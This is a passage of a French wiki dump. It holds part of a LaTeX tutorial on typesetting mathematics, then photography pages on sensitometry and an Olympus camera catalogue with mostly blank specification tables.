Je ne vais donc pas tous les énumérer (pour l'instant). </TR> </TABLE> === Ajouter du texte dans les formules === Je doute que ce soit tous les jours que vous aurez besoin d'inclure du texte dans une formule. Cependant, il arrive parfois que ce soit nécessaire. Un simple collage d'un texte directement dans l'environnement mathématique ne vous donnera pas les résultats que vous attendez. Par exemple: {| | \[ 50 pommes \times 100 pommes = beaucoup de pommes \] | style="vertical-align: middle;" | |<math>50 pommes \times 100 pommes = beaucoup de pommes\,</math> |} ou {| | \[ 5 \acute{e}l\acute{e}phants + 4 \acute{e}l\acute{e}phants= 9 \acute{e}l\acute{e}phants \] | style="vertical-align: middle;" | |<math>5 \acute{e}l\acute{e}phants + 4 \acute{e}l\acute{e}phants= 9 \acute{e}l\acute{e}phants\,</math> |} Il y a deux problèmes visibles. Premièrement, il n'y a aucun espace entre les nombres et le texte, ni d'espaces entre les mots entre eux. Deuxièmement, les mots n'apparaissent pas correctement; les lettres sont davantage espacées par rapport à la normale. Cela vient du fait que ce sont simplement des objets façonnés du mode mathématique qui n'attend pas ces mots. Tous les espaces que vous saisissez en mode mathématique sont ignorés et Latex espace les éléments selon ses propres règles. Il suppose que tous les caractères représentent des noms de variable. Pour montrer que chaque symbole est individuel, ils ne sont pas placés les uns à côté des autres aussi étroitement que dans du texte normal. Il y a un certain nombre de manières selon lesquelles le texte peut être ajouté correctement. La manière typique est d'envelopper le texte avec la commande <tt>\mbox{...}</tt>. Cette commande n'a pas été présentée avant, cependant son travail est fondamentalement de créer une boîte juste assez large pour contenir le texte considéré. Le texte placé dans cette boîte ne peut pas être cassé sur plusieurs lignes. Voyons ce qui se produit quand le code de la formule ci-dessus est adapté: <math>50 \mbox{pommes} \times 100\mbox{pommes} = \mbox{beaucoup de pommes}\,</math> Le texte a un meilleur aspect. Cependant, il n'y a aucun espace entre les nombres et les mots. Malheureusement, vous êtes contraints d'ajouter vous-mêmes ces derniers. Il y a de nombreuses façons d'ajouter des espaces entre les objets mathématiques, mais pour la simplicité, je trouve plus facile, au moins dans ce cas, d'insérer directement un caractère d'espace dans la boîte <tt>\mbox</tt>(s) elle-même (juste avant le texte). {| | \[ 50 \mbox{ pommes} \times 100 \mbox{ pommes} = \mbox{beaucoup de pommes} \] | style="vertical-align: middle;" | |<math>50 \mbox{ pommes} \times 100\mbox{ pommes} = \mbox{beaucoup de pommes}\,</math> |} === La mise en caractère romain dans les formules === Il est une convention d'écrire les variables en italique (cela se fait par défaut, ex.: $x^2$) et d'écrire les fonctions en romain. Exemple: ${\rm cos}\,x$ va donner <math>{\rm cos}\,x</math> (il existe des raccourcis pour les fonctions trigonométriques: ici: $\cos x$ va donner le même résultat <math>\cos x</math>) === Mise en forme du texte === Employer <tt>\mbox</tt> permet de résoudre correctement le problème de base. Cependant, il y a une alternative qui offre un peu plus de flexibilité. Vous pouvez relire le cours [latextutorial7.html Didacticiel 7 (Formatting)], l'introduction aux commandes de modification de forme de police, comme <tt>\textrm</tt>, <tt>\textit</tt>, <tt>\textbf</tt>, etc. Ces commandes écrivent leur paramètre en utilisant une certaine forme de police, et par exemple <tt>\textbf{texte en caractères gras}</tt> donne '''texte en caractères gras'''. Ces commandes sont également valables dans un environnement mathématique et permettent d'inclure du texte. L'avantage supplémentaire ici est que vous pouvez avoir un meilleur contrôle de la forme de la police de caractères, plus qu'avec du texte normal inséré avec <tt>\mbox</tt>. {| | \begin{equation} 50 \textrm{ pommes} \times 100 \textbf{ pommes} = \textit{beaucoup de pommes} \end{equation} | style="vertical-align: middle;" | |<math>50 \;\textrm{pommes} \times 100 \;\textbf{pommes} = \textit{beaucoup}\;\textit{de}\;\textit{pommes}\qquad (1)</math> |} Cependant, comme cela est le cas pour Latex, il y a plus d'une façon de tondre un chat! Il existe des commandes de modification de forme de police très semblables à celles utilisées précédemment, sauf qu'elles sont précisément conçues pour écrire du texte en mode mathématique. Alors pourquoi s'embêter à vous montrer comment utiliser <tt>\textrm</tt> et les autres si on peut trouver les équivalents en mode maths ? Bien, c'est parce qu'elles sont subtilement différentes. Les commandes de changement de forme de police en mode mathématique sont: {| ! Commande ! Forme de police ! Exemple |- | <tt>\mathrm{...}</tt> | Roman | [[Image:formepolicemaths1.png]] |- | <tt>\mathit{...}</tt> | Italic | [[Image:formepolicemaths2.png]] |- | <tt>\mathbf{...}</tt> | En gras | [[Image:formepolicemaths3.png]] |- | <tt>\mathsf{...}</tt> | Sans serif | [[Image:formepolicemaths4.png]] |- | <tt>\mathtt{...}</tt> | Typewriter | [[Image:formepolicemaths5.png]] |- | <tt>\mathcal{...}</tt> | Calligraphie | [[Image:formepolicemaths6.png]] |} Les commandes de changement de forme de police mathématique peuvent s'appliquer à une formule entière, et pas simplement un seul élément textuel: elles mettent en forme uniquement les lettres, les nombres, et les lettres majuscules grecques, mais le reste des objets mathématiques est ignoré. Ainsi, généralement, il vaut mieux employer les les commandes spécifiques de maths s'il y a lieu. Notez que l'exemple de calligraphie donne un rendu plutôt étrange. C'est parce que pour les lettres, il exige des caractères majuscules. Les lettres restantes sont transformées en symboles spéciaux. === Changement de la taille des formules === Probablement un événement rare, mais il pourrait arriver que vous préféreriez disposer d'une commande pour changer la taille des caractères. Par exemple, en utilisant le mode texte en mode mathématique, par défaut une simple fraction ressemblera à ceci [[Image:tailleformule1.png]] et vous aimeriez certainement la voir plus grande, comme dans le mode mathématique isolé par exemple, comme ceci: [[Image:tailleformule2.png]]. Une solution simple est d'utiliser les tailles prédéfinies pour les objets mathématiques: {| | <tt>\displaystyle</tt> | Taille pour les formules en mode mathématique isolé |- | <tt>\textstyle</tt> | Taille pour les formules en mode texte |- | <tt>\scriptstyle</tt> | Taille pour les indices supérieurs/inférieurs |- | <tt>\scriptscriptstyle</tt> | Taille pour les indices supérieurs/inférieurs des indices |} Un exemple classique pour illustrer cela est celui des fractions continues. Examinons le code suivant: {| | \begin{equation} x = a_0 + \frac{1}{a_1 + \frac{1}{a_2 + \frac{1}{a_3 + a_4}}} \end{equation} | style="vertical-align: middle;" | [[Image:tailleformule3.png]] |} Comme vous pouvez le voir, les fractions continues deviennent plus petites au fur et à mesure (bien qu'elles ne le deviennent pas indéfiniment dans l'exemple), et atteignent la taille limite de <tt>\srciptscriptstyle</tt>. Si vous voulez garder une taille acceptable, vous pouvez définir chaque fraction en utilisant le style mathématique isolé à la place. {| | \begin{equation} x = a_0 + \frac{1}{\displaystyle a_1 + \frac{1}{\displaystyle a_2 + \frac{1}{\displaystyle a_3 + a_4}}} \end{equation} | style="vertical-align: middle;" | [[Image:tailleformule4.png]] |} Une autre solution est d'employer la commande <tt>\DeclareMathSizes</tt> permettant de sélectionner vos tailles préférées. Vous pouvez seulement définir des tailles pour les style <tt>\displaystyle</tt>}, <tt>\textstyle</tt>, etc. Un inconvénient de cette commande est que les tailles des caractères en mode mathématiques ne peuvent être fixées que globalement, car elle ne peut être utilisée que dans le préambule du document. Cependant, il est assez facile d'employer: <tt>\DeclareMathSizes{ds}{ts}{ss}{sss}</tt>, où ''ds'' représente la taille d'affichage (''display size''), ''ts'' est la taille du texte (''text size''), etc. Les valeurs que vous donnez pour définir la taille sont supposées représenter un nombre de points (pt). Dans le [tutorial10/mathsize2.pdf example document (mathsize2.pdf)], les tailles des maths ont été rendues beaucoup plus grandes que nécessaire afin de mettre en évidence les changements intervenus. NOTE: les changements ont lieu uniquement si la valeur du premier paramètre correspond exactement à la taille courante des textes de document. Il est donc fréquent de voir un ensemble de déclarations communes dans le préambule, lorsque la police principale est changée. Par exemple, \DeclareMathSizes{10}{18}{12}{8} % Pour un texte de taille 10 \DeclareMathSizes{11}{19}{13}{9} % Pour un texte de taille 11 \DeclareMathSizes{12}{20}{14}{10} % Pour un texte de taille 12 === Équations multi-lignes (environnement <tt>eqnarray</tt>) === Imaginez que vous ayez une équation que vous vouliez la manipuler, par exemple, pour la simplifier. Souvent cela s'effectue après un certain nombre d'étapes en aidant le lecteur à comprendre comment obtenir à partir de l'équation originale le résultat final. Cela devrait être une tâche relativement simple, mais nous verrons, que les commandes utilisées dans le cours précédent pour écrire des mathématiques ne sont pas adaptées. En utilisant ce que nous savons jusqu'ici nous avons: [[Image:multiligne1.png]] Le résultat obtenu est plutôt laid. Le moyen d'afficher les divers éléments en les alignant est d'utiliser une table, et d'y placer les équations en ligne. Allons y: {| | \begin{tabular}{ r l } \(10xy^2+15x^2y-5xy\) & \(= 5\left(2xy^2+3x^2y-xy\right)\) \\ & \(= 5x\left(2y^2+3xy-y\right)\) \\ & \(= 5xy\left(2y+3x-1\right)\) \end{tabular} | style="vertical-align: middle;" | [[Image:multiligne2.png]] |} Cela ne donne pas un résultat trop mauvais. Peut-être que l'espace supplémentaire entre le membre gauche de l'équation et le signe égal est plus grand que l'espace du côté droit et ne donne pas une apparence parfaite. Cela peut être rectifié en ajoutant une colonne supplémentaire et en mettant le signe égal dans la colonne centrale: {| | \begin{tabular}{ r c l } \(10xy^2+15x^2y-5xy\) & \(=\) & \(5\left(2xy^2+3x^2y-xy\right)\) \\ & \(=\) & \(5x\left(2y^2+3xy-y\right)\) \\ & \(=\) & \(5xy\left(2y+3x-1\right)\) \end{tabular} | style="vertical-align: middle;" | [[Image:multiligne3.png]] |} C'est beaucoup mieux. Un autre problème est que l'espace vertical entre les lignes fait apparaître les équations un peu trop serrées sur le côté droit. Il serait souhaitable d'ajouter un petit espace pour que les lignes dans la table soient un peu plus grandes. (vous devez ajouter <tt>\usepackage{array}</tt > dans votre préambule pour réaliser ce travail.) % Augmente la taille verticalement. Nécessite le paquet tableau. Voir le préambule. \setlength{\extrarowheight}{0.3cm} [[Image:multiligne4.png]] Cependant, par ce moyen nous avons dû effectuer beaucoup trop de travail, et il reste un inconvénient important ou bout du compte. Vous ne pouvez pas numéroter les équations. Puisqu'une fois que vous êtes dans l'environnement <tt>tabular</tt>, vous pouvez seulement employer le type intégré d'affichage de maths. Pour la numérotation des équations, vous devez employer le paquet du mode d'affichage <tt>equation</tt>, mais vous ne pouvez pas dans cet exemple. C'est là que <tt>eqnarray</tt> devient extrêmement utile. <tt>eqnarray</tt>, comme le nom le suggère provient du paquet <tt>array</tt>} qui est fondamentalement un environnement simplifié de <tt>tabular</tt>. Le paquet <tt>array</tt> fut introduit dans le [latextutorial9.html tutorial 9 (Mathematics I)] pour former des matrices. Voici un exemple d'utilisation d'<tt>eqnarray</tt>: {| | \begin{eqnarray} 10xy^2+15x^2y-5xy & = & 5\left(2xy^2+3x^2y-xy\right) \\ & = & 5x\left(2y^2+3xy-y\right) \\ & = & 5xy\left(2y+3x-1\right) \end{eqnarray} | style="vertical-align: middle;" | [[Image:multiligne5.png]] |} Comme vous pouvez le voir, tout est bien présenté et organisé comme prévu. Bien, sauf que chaque rangée du tableau a reçu son propre numéro d'équation. Tandis que cette possibilité est utile dans certains cas, elle n'est pas requise ici, seulement un numéro suffira. Pour supprimer des numéros d'équation d'une rangée donnée, ajoutez la commande <tt>\nonumber</tt> juste avant la commande de fin de ligne (<tt>\\</tt>). {| | \begin{eqnarray} 10xy^2+15x^2y-5xy & = & 5\left(2xy^2+3x^2y-xy\right) \nonumber \\ & = & 5x\left(2y^2+3xy-y\right) \nonumber \\ & = & 5xy\left(2y+3x-1\right) \end{eqnarray} | style="vertical-align: middle;" | [[Image:multiligne6.png]] |} Si vous ne voulez pas du tout de numéro d'équation, alors plutôt que d'ajouter la commande <tt>\\nonumber</tt> à chaque rangée, employez la version étoilée de l'environnement c'est-à-dire <tt>\begin{equarray * }... \end{equarray*}</tt>. Note: il y a une limite de 3 colonnes dans l'environnement de <tt>eqnarray</tt>. Si vous avez besoin de davantage de flexibilité, vous ferez mieux d'utiliser les paquets de Maths AMS. === Casser les longues équations === D'abord voyons un exemple de longue équation (note: lorsque vous visualiserez l'exemple de document de cette rubrique, vous verrez que cette équation est en fait plus large que la largeur du texte. Ce n'est pas si évident que cela sur cette page Web) [[Image:longeqns1.png]] Latex ne casse pas les longues équations pour les faire entrer dans les marges comme il le fait avec le texte normal. Ainsi, il vous appartient de composer l'équation convenablement (si elle déborde la marge). Ceci exige typiquement une certaine utilisation créatrice d'<tt>eqnarray</tt> afin d'obtenir des objets découpés sur une nouvelle ligne et bien alignés. Par exemple, {| | \begin{eqnarray*} \left(1+x\right)^n & = & 1 + nx + \frac{n\left(n-1\right)}{2!}x^2 \\ & & + \frac{n\left(n-1\right)\left(n-2\right)}{3!}x^3 \\ & & + \frac{n\left(n-1\right)\left(n-2\right)\left(n-3\right)}{4!}x^4 \\ & & + \ldots \end{eqnarray*} | style="vertical-align: middle;" | [[Image:longeqns2.png]] |} Il se peut juste que je sois plus attentif à ce genre de choses, mais vous pouvez noter qu'à partir de la deuxième ligne, l'espace entre le plus initial et la fraction suivante est (légèrement) plus petit que la normale. (Observez la première ligne, par exemple.) C'est dû au fait que le Latex traite les signes + et – de deux façons différentes. Le plus souvent ils les considère comme un opérateur binaire. Quand deux objets mathématiques apparaissent de l'un ou l'autre des côtés du signe, il suppose qu'il un opérateur binaire, et attribue un certain espace de chaque côté du signe. La manière alternative est une désignation de signe; lorsque vous énoncez qu'une certaine quantité mathématique est positive ou négative. Comme en maths, on assume que de tels objets sont positifs à moins qu'un signe le précède. Dans cet exemple, vous voulez que le signe apparaisse près de l'élément approprié pour montrer leur correspondance. C'est l'interprétation pour laquelle Latex a opté dans l'exemple ci-dessus. Pour ajouter la place nécessaire, vous pouvez insérer ''un caractère invisible'' en utilisant <tt>{}</tt>, comme nous le montrons ci-après: {| | \begin{eqnarray*} \left(1+x\right)^n & = & 1 + nx + \frac{n\left(n-1\right)}{2!}x^2 \\ & & {} + \frac{n\left(n-1\right)\left(n-2\right)}{3!}x^3 \\ & & {} + \frac{n\left(n-1\right)\left(n-2\right)\left(n-3\right)}{4!}x^4 \\ & & {} + \ldots \end{eqnarray*} | style="vertical-align: middle;" | [[Image:longeqns3.png]] |} Une autre solution serait d'éviter ce problème en laissant le symbole + à l'extrémité de la ligne précédente plutôt que de le placer au début de la ligne courante: [[Image:longeqns4.png]] Latex supporte une autre convention d'écriture des longues équations. C'est la manière qui est la plus fréquemment utilisée pour composer de longues équations dans les livres et les articles, et c'est évidemment ma manière préférée de les écrire. L'utilisation d'<tt>eqnarray</tt>, conjointement avec la commande <tt>\lefteqn{... }</tt> placée autour du contenu précédant le signe = donne le résultat suivant: {| | \begin{eqnarray*} \lefteqn{\left(1+x\right)^n = } \\ & & 1 + nx + \frac{n\left(n-1\right)}{2!}x^2 + \\ & & \frac{n\left(n-1\right)\left(n-2\right)}{3!}x^3 + \\ & & \frac{n\left(n-1\right)\left(n-2\right)\left(n-3\right)}{4!}x^4 + \\ & & \ldots \end{eqnarray*} | style="vertical-align: middle;" | [[Image:longeqns5.png]] |} Notez que la première ligne du <tt>eqnarray</tt> contient uniquement <tt>\lefteqn</tt>. Et avec cette commande, il n'y a aucun séparateur de colonne (<tt>&</tt>). La raison pour laquelle cette commande affiche les objets comme il se doit est que la commande <tt>\lefteqn</tt> imprime l'argument, en indiquant à Latex que la largeur est nulle. Le contenu de la première colonne étant vide, à l'exception de l'espace inter-colonne, cela impose le retrait des lignes suivantes. ===Contrôle de l'espacement horizontal=== Latex est évidemment un outil très puissant pour la composition de textes mathématiques. La composition de textes scientifiques était l'un des principaux objectifs du noyau du système Tex que Latex prolonge. Cependant, il n'interprète pas toujours exactement les formules comme vous aimeriez qu'il le fasse. Il doit parfois choisir entre plusieurs options quand il rencontre une expression ambiguë. Le résultat a tendance à être légèrement incorrect au niveau de l'espacement horizontal. Dans ces cas, le résultat reste malgré tout encore satisfaisant, pourtant, tous les perfectionnistes voudront sans nul doute affiner leurs formules afin d'assurer un espacement horizontal impeccable. Ce sont généralement des ajustements très subtiles. Dans d'autres circonstances où Latex a fait son travail correctement, vous aimeriez juste ajouter un certain espace, pour éventuellement placer un commentaire. Par exemple, dans l'équation suivante, il est préférable de s'assurer qu'il y a une place suffisante entre les maths et le texte. {| | \[f(n) = \left\{ \begin{array}{l l} n/2 & \quad \mbox{si $n$ est pair}\\ -(n+1)/2 & \quad \mbox{si $n$ est impair}\\ \end{array} \right. \] | style="vertical-align: middle;" | [[Image:espaceh1.png]] |} Latex a défini deux commandes qui peuvent être employées n'importe où dans les documents (pas seulement en mode mathématique) pour insérer un certain espace horizontal. Ce sont les commandes <tt>\quad</tt> et <tt>\qquad</tt>. Un <tt>\quad</tt> abréviation de quadratin est un espace égal à la taille de la police courante. Ainsi, si vous employez une police de 11 points (11pt), alors l'espace fourni par <tt>\quad</tt> sera également de 11 points (horizontalement, naturellement). Le <tt>\qquad</tt> donne deux fois l'espace précédent. Comme vous pouvez le voir à partir du code de l'exemple ci-dessus, des <tt>\quad</tt> ont été employés pour ajouter une certaine séparation entre les maths et le texte. Pour revenir à l'affinement mentionné au début du document, un bon exemple montrerait une simple intégrale indéfinie de y par rapport à ''x'': [[Image:espaceh2.png]] Si vous désirez essayer, vous pouvez écrire: {| | \[ \int y \mathrm{d}x \] | style="vertical-align: middle;" | |} Cependant, ceci ne donne pas un résultat correct. Latex ne respecte pas l'espace blanc à gauche dans le code pour signifier que le ''y'' et le ''x'' sont des entités indépendantes. Au lieu de cela, il les colle l'une à l'autre. Un <tt>\quad</tt> laisserait un trop grand espace dans cette situation; il n'y a besoin que de quelques petits espaces dans ce type d'exemple, et c'est pour cela que Latex fournit: {| ! Commande ! Description ! Taille | <tt>\,</tt> | petit espace | 3/18 d'un quadratin |- | <tt>\:</tt> | moyen espace | 4/18 d'un quadratin |- | <tt>\;</tt> | grand espace | 5/18 d'un quadratin |- | <tt>\!</tt> | espace négatif | -3/18 d'un quadratin |} NB vous pouvez utiliser plusieurs commandes à la suite pour laisser un plus grand espace si nécessaire. Ainsi, pour corriger le problème actuel: {| | <tt>\int y\, \mathrm{d}x</tt> | [[Image:espaceh4.png]] |- | <tt>\int y\: \mathrm{d}x</tt> | [[Image:espaceh5.png]] |- | <tt>\int y\; \mathrm{d}x</tt> | [[Image:espaceh6.png]] |} Utiliser un espace négatif peut sembler anormal, cependant il n'existerait pas s'il était inutile. Prenez l'exemple suivant: [[Image:espaceh7.png]] La notation matricielle pour représenter les coefficients binomiaux n'est pas assez « capitonnée ». Il y a trop d'espace entre les parenthèses et le contenu réel. Ceci peut facilement être corrigé en ajoutant quelques espaces négatifs après la parenthèse gauche et avant la parenthèse droite. [[Image:espaceh7.png]] {| | \[\left(\!\!\! \begin{array}{c} n \\ r \end{array} \!\!\!\right) = C_r^n = \frac{n!}{r!(n-r)!} \] | style="vertical-align: middle;" | [[Image:espaceh8.png]] |} ===Introduction aux maths d'AMS=== Cette section en encore en développement. Quelques commandes LaTeX utiles sont disponibles sous forme de paquets nommés ''amsmath''. Ils peuvent être chargés sur la plupart des installations de LaTeX en plaçant dans le préambule de votre document cette commande. (C'est-à-dire avant la commande \begin{document}): :<tt>\usepackage{amsmath}</tt> Une commande très utile rend possible, au moyen de ces paquets, l'alignement des objets, par exemple le signe d'égalité (=) sur des lignes d'équations successives. Voici un exemple: :<tt>\begin{align}</tt> ::<tt>x &= a + (b + a) \\</tt> ::<tt> &= 2a + b.</tt> :<tt>\end{align}</tt> Le symbole esperluette (&) est utilisé pour préciser les points dans chaque ligne qui seront supposés être alignés verticalement, mais n'apparaissent pas dans le résultat final qui ressemble à ce qui suit: [[Image:Equalign1.png|350px]] Les équations sont numérotées par défaut. Les numéros d'équation peut être supprimés en remplaçant le mot <tt>align</tt> par le mot <tt>align*</tt> au début et à la fin des équations à aligner: :<tt>\begin{align*}</tt> ::<tt>x &= a + (b + a) \\</tt> ::<tt> &= 2a + b.</tt> :<tt>\end{align*}</tt> Le résultat ressemble à ceci: [[Image:Equalignetoile.png|350px]] Une autre solution est de les supprimer sur une ligne particulière en ajoutant l'expression <tt>\notag</tt>, comme nous le montrons ici: :<tt>\begin{align}</tt> ::<tt>x &= a + (b + a) \notag \\</tt> ::<tt> &= 2a + b.</tt> :<tt>\end{align}</tt> Le résultat ressemble à ceci: [[Image:Equalignsansanot.png|350px]] Des annotations dans chaque ligne peuvent être ajoutées en les séparant des équations, en utilisant deux esperluettes (&&): :<tt>\begin{align}</tt> ::<tt>x &= a + (b + a) && \text{Axiome C} \\</tt> :: <tt>&= 2a + b && \text{Axiomes A \& F}.</tt> :<tt>\end{align}</tt> Voici le résultat: [[Image:Equalignanot.png|350px]] ===Résumé=== Comme vous pouvez commencer à le voir, la composition de textes mathématiques peut parfois être embêtante. Cependant, parce que Latex fournit de nombreux contrôles, vous pouvez obtenir des documents mathématiques de qualité professionnelle avec relativement peu d'effort (une fois que vous vous êtes familiarisé avec Latex, bien sûr). Il serait possible d'aller plus loin sur le thème des mathématiques parce que cela semble illimité. Cependant, avec ces deux tutoriels, vous devriez être capable de vous en sortir honorablement. ---- Fichiers: [tutorial10/textineqn.tex textineqn.tex] | [tutorial10/textineqn.pdf textineqn.pdf] | [tutorial10/mathsize.tex mathsize.tex] | [tutorial10/mathsize.pdf mathsize.pdf] | [tutorial10/mathsize2.tex mathsize2.tex] | [tutorial10/mathsize2.pdf mathsize2.pdf] | [tutorial10/multiline.tex multiline.tex] | [tutorial10/multiline.pdf multiline.pdf] | [tutorial10/longeqns.tex longeqns.tex] | [tutorial10/longeqns.pdf longeqns.pdf] | [tutorial10/hspacing.tex hspacing.tex] | [tutorial10/hspacing.pdf hspacing.pdf]<br /> ressources utiles: [ftp://ftp.ams.org/pub/tex/doc/amsmath/amsldoc.pdf Guide d'utilisation du paquet <tt>amsmath</tt> [pdf]] Photographie - Chapitre 12 - Sensitométrie 6158 26974 2005-12-18T18:11:48Z Jean-Jacques MILAN 114 {{Photographie}} {{ébauche}} '''Avant que ce chapitre soit tranféré et mis en ordre, vous pouvez créer ici des paragraphes qui seront intégrés à leur juste place par la suite.''' == Effet de réciprocité pour les papiers noir et blanc == La grandeur qui agit sur les surfaces sensibles est la '''lumination''' (encore appelée exposition lumineuse) que l'on définit par le produit d'un éclairement par un temps d'action : L = E.t L'unité de lumination est le lux.seconde (lux.s). En première approximation, une même valeur de la lumination produira le même effet sur une surface sensible, quelle que soient les valeurs des deux termes du produit. En réalité, de très faibles éclairements agissant pendant des temps très longs ou des éclairements très intenses agissant pendant des temps très courts auront des effets plus faibles que ceux que l'on pourrait attendre. Il est important d'en tenir compte lorsque l'on agrandit des négatifs très sombres à des rapports importants. == Sensibilité des films imfrarouges à la chaleur == Il est évident que les films infrarouges doivent être manipulés et traités dans l'obscurité totale mais qui dit obscurité pour l'œil ne dit pas forcément obscurité pour les films qui sont sensibles à des radiations invisibles pour l'homme. Ainsi, certains radiateurs électriques, par exemple, sont capables d'émettre des radiations susceptibles de voiler les films, il est donc prudent de les arrêter pendant les manipulations. Il faut aussi se rappeler que certains matériaux apparemment opaques à la lumière peuvent transmettre l'infrarouge : certaines matières plastiques noires, certains rideaux, par exemple, présentent des risques à cet égard. En revanche, la température des radiateurs à eau chaude ou à vapeur n'est pas assez élevée pour présenter un quelconque danger pour les films. Photographie - 40 - Olympus 6159 45992 2006-06-26T22:30:38Z Jean-Jacques MILAN 114 /* Olympus SP-320 (2006) */ {{Photographie}} {{Photo_40}} == À classer == <gallery> Image:Olympus-SP-310-p1030353.jpg Image:Olympus C-2020Z.jpg|Olympus Camedia C-2020Z Image:Olympus Stylus.jpg Image:Olympus Pen F.jpg Image:Olympus XA.jpg Image:Olympus mju ii.jpg Image:Olympus C-960 Zoom.jpg Image:Olympus Pen EE-2 241-2599.jpg Image:Olympus IR-300.jpg </gallery> == Appareils 24 x 36 réflex == === Olympus OM-1 (année ?) === {| border="1" cellspacing="0" cellpadding="10" |- |[[Image:Olympus OM-1.jpg|240px|center]] |'''Caractéristiques :''' <font color=grey>Type d'appareil : </font> • <font color=grey>Format de film : </font>135 • <font color=grey>Objectifs : </font> • <font color=grey>Monture des objectifs : </font> • <font color=grey>Diaphragme : </font> • <font color=grey>Présélection du diaphragme : </font> • <font color=grey>Viseur : </font> • <font color=grey>Informations dans le viseur : </font> • <font color=grey>Mise au point : </font> • <font color=grey>Obturateur : </font> • <font color=grey>Prise de flash : </font> • <font color=grey>Déclencheur : </font> • <font color=grey>Contrôle de l'exposition : </font> • <font color=grey>Sensibilité film : </font> • <font color=grey>Mémorisation de la mesure : </font> • <font color=grey>Retardateur : </font> • <font color=grey>Avance du film : </font> • <font color=grey>Correction d'exposition : </font> • <font color=grey>Compteur de vues : </font> • <font color=grey>Expositions multiples : </font> • <font color=grey>Touche de [[Photographie - 14 - Profondeur de champ|profondeur de champ]] : </font> • <font color=grey>Contrôle de piles : </font> • <font color=grey>Alimentation : </font> • <font color=grey>Interrupteur principal : </font> • <font color=grey>Dimensions : </font> • <font color=grey>Poids (boîtier seul, sans pile) : </font> • <font color=grey>Accessoires : </font> • <font color=grey>Mode [[Photographie - 23 - Macrophotographie|macro]] : </font> • <font color=grey>Remarques : </font> |- |} === Olympus OM-2 SP (année ?) === {| border="1" cellspacing="0" cellpadding="10" |- |[[Image:Olympus OM-2 SP.jpg|240px|center]] |'''Caractéristiques :''' <font color=grey>Type d'appareil : </font> • <font color=grey>Format de film : </font>135 • <font color=grey>Objectifs : </font> • <font color=grey>Monture des objectifs : </font> • <font color=grey>Diaphragme : </font> • <font color=grey>Présélection du diaphragme : </font> • <font color=grey>Viseur : </font> • <font color=grey>Informations dans le viseur : </font> • <font color=grey>Mise au point : </font> • <font color=grey>Obturateur : </font> • <font color=grey>Prise de flash : </font> • <font color=grey>Déclencheur : </font> • <font color=grey>Contrôle de l'exposition : </font> • <font color=grey>Sensibilité film : </font> • <font color=grey>Mémorisation de la mesure : </font> • <font color=grey>Retardateur : </font> • <font color=grey>Avance du film : </font> • <font color=grey>Correction d'exposition : </font> • <font color=grey>Compteur de vues : </font> • <font color=grey>Expositions multiples : </font> • <font color=grey>Touche de [[Photographie - 14 - Profondeur de champ|profondeur de champ]] : </font> • <font color=grey>Contrôle de piles : </font> • <font color=grey>Alimentation : </font> • <font color=grey>Interrupteur principal : </font> • <font color=grey>Dimensions : </font> • <font color=grey>Poids (boîtier seul, sans pile) : </font> • <font color=grey>Accessoires : </font> • <font color=grey>Mode [[Photographie - 23 - Macrophotographie|macro]] : </font> • <font color=grey>Remarques : </font> |- |} == Appareils 24 x 36 compacts == == Appareils compacts numériques == === Olympus SP-310 (année) === {|border="1" cellspacing="0" cellpadding="4" |- |[[Image:Olympus-SP-310-p1030353.jpg|240px|center]] |'''Caractéristiques :''' •<font color=grey>&nbsp;Type d'appareil : </font>--- •&nbsp;<font color=grey>Capteur : </font>--- •&nbsp;<font color=grey>Définition maxi : </font>--- •&nbsp;<font color=grey>Formats de fichiers : </font>--- •&nbsp;<font color=grey>Mémoire interne : </font>--- •&nbsp;<font color=grey>Cartes-mémoires : </font>--- •&nbsp;<font color=grey>Objectif : </font>--- •&nbsp;<font color=grey>Équivalent 24x36 : </font>--- •&nbsp;<font color=grey>Zoom numérique : </font>--- •&nbsp;<font color=grey>Diaphragme : </font>--- •&nbsp;<font color=grey>Viseur : </font>--- •&nbsp;<font color=grey>Écran : </font>--- •&nbsp;<font color=grey>Modes : </font>--- •&nbsp;<font color=grey>Mise au point : </font>--- •&nbsp;<font color=grey>Obturateur : </font>--- •&nbsp;<font color=grey>Retardateur : </font>--- •&nbsp;<font color=grey>Commande de l'exposition : </font>--- •&nbsp;<font color=grey>Correction d'exposition : </font>--- •&nbsp;<font color=grey>Sensibilité du capteur : </font>--- •&nbsp;<font color=grey>Mémorisation de la mesure : </font>--- •&nbsp;<font color=grey>Balance des blancs : </font>--- •&nbsp;<font color=grey>Prise de flash extérieur : </font>--- •&nbsp;<font color=grey>Flash intégré : </font>--- •&nbsp;<font color=grey>Connexions : </font>--- •&nbsp;<font color=grey>Compatibilité DPOF : </font>--- •&nbsp;<font color=grey>Alimentation : </font>--- •&nbsp;<font color=grey>Dimensions : </font>--- •&nbsp;<font color=grey>Poids : </font>--- •&nbsp;<font color=grey>Accessoires : </font>--- •&nbsp;<font color=grey>Prix : </font>--- •&nbsp;<font color=grey>Remarques : </font>--- |- |} === Olympus SP-320 (2006) === {| border="1" cellspacing="0" cellpadding="4" |- |<gallery> <---galerie à supprimer après chargement d'une photo---> Image:Image help.png|Image souhaitée </gallery> [[Image|240px|center]] |'''Caractéristiques :''' •<font color=grey>&nbsp;Type d'appareil : </font>--- •&nbsp;<font color=grey>Capteur : </font>CCD 7 Mpix •&nbsp;<font color=grey>Définition maxi : </font>--- •&nbsp;<font color=grey>Formats de fichiers : </font>--- •&nbsp;<font color=grey>Mémoire interne : </font>--- •&nbsp;<font color=grey>Cartes-mémoires : </font>--- •&nbsp;<font color=grey>Objectif : </font>--- •&nbsp;<font color=grey>Équivalent 24x36 : </font>--- •&nbsp;<font color=grey>Zoom numérique : </font>--- •&nbsp;<font color=grey>Diaphragme : </font>--- •&nbsp;<font color=grey>Viseur : </font>--- •&nbsp;<font color=grey>Écran : </font>LCD 6,4 cm •&nbsp;<font color=grey>Modes : </font>--- •&nbsp;<font color=grey>Mise au point : </font>--- •&nbsp;<font color=grey>Obturateur : </font>--- •&nbsp;<font color=grey>Retardateur : </font>--- •&nbsp;<font color=grey>Commande de l'exposition : </font>--- •&nbsp;<font color=grey>Correction d'exposition : </font>--- •&nbsp;<font color=grey>Sensibilité du capteur : </font>?-800 ISO •&nbsp;<font color=grey>Mémorisation de la mesure : </font>--- •&nbsp;<font color=grey>Balance des blancs : </font>--- •&nbsp;<font color=grey>Prise de flash extérieur : </font>--- •&nbsp;<font color=grey>Flash intégré : </font>--- •&nbsp;<font color=grey>Connexions : </font>--- •&nbsp;<font color=grey>Compatibilité DPOF : </font>--- •&nbsp;<font color=grey>Alimentation : </font>--- •&nbsp;<font 